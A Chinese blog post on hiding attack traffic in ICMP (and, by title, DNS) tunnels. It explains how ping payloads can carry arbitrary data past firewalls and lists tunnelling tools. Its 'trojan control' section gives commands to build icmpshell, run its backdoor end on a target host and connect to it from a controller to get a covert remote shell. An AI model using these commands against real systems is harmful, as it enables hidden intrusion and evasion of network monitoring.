美文网首页
攻击隐蔽技术(ICMP、DNS)

攻击隐蔽技术(ICMP、DNS)

作者: 陈小帅不帅 | 来源:发表于2020-09-17 18:30 被阅读0次

    1ICMP:

    原理 - 绕过WAF(多数防火墙未对ICMP流量做限制)
    工具相关 PiX-C2、icmpsh、Nishang结合icmpsh 、ptunnel 、icmpshell

    一、技术实现原理:

    IP协议并不是一个可靠的协议,它不保证数据被送达,那么,自然的,保证数据送达的工作应该由其他的模块来完成。其中一个重要的模块就是ICMP(网络控制报文)协议。

    ICMP数据包由8bit的错误类型和8bit的代码和16bit的校验和组成。而前 16bit就组成了ICMP所要传递的信息。

    如下是icmp的结构图,

    image.png

    请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求(Windows 和 Linux 系统下的Ping 工具默认的 Payload 长度为 64bit,但实际上协议允许附加最大 64K 大小的Payload)。

    image.png

    最后一个 Payload 字段是可以存放任何数据的,长度的话 理论上 ICMP 包外的 IP 包长度不超过 MTU 即可,但是实际上传不了那么大。

    icmp本身比较简单,有一个字节的类型和一个字节的代码和两个字节的校验码,其他为数据部分,icmp携带的数据部分默认是32字节。而且携带的数据在windows中永远是:abcdefghijklmnopqrstuvwabcdefghi

    image.png
    看了icmp协议的结构,你是不是在想,data数据的内容能否换成我自己想传输的数据呢?这就是icmp隧道的精髓了,icmp隧道就是要替换掉data部分数据。

    那我们能否改变这些data填充我们自己的数据呢? 答案是当然是可以的!

    在icmp data中的数据进行更改后,目标设备能否解析内容呢,这就需要工具代替系统自身模块了。
    一个隧道工具,允许您通过可靠的 TCP 隧道连接一个远程主机,并使用 ICMP 回送请求和应答包,俗称 ping 请求和回复。

    木马控制:

    编译icmpshell,编译成功后会生成两个可执行文件,ish是控制端,ishd是木马端

    icmpsh
    icmptunnel

    cd icmpshell

    make linux

    首先,在目标机器MidLAMP上执行木马端:

    -i 指定木马端端口
    -t 指定icmp类型
    -p 指定单包大小

    ./ishd -i 443 -t 0 -p 1024 &

    然后,再回到本地机器lnmp01上执行控制端进行连接,程序有值得改进的地方,如,设置连接密码:

    ./ish -i 443 -t 0 -p 1024 192.168.3.19

    工具 Dnscat2

    相关文章

      网友评论

          本文标题:攻击隐蔽技术(ICMP、DNS)

          本文链接:https://www.haomeiwen.com/subject/jbrajktx.html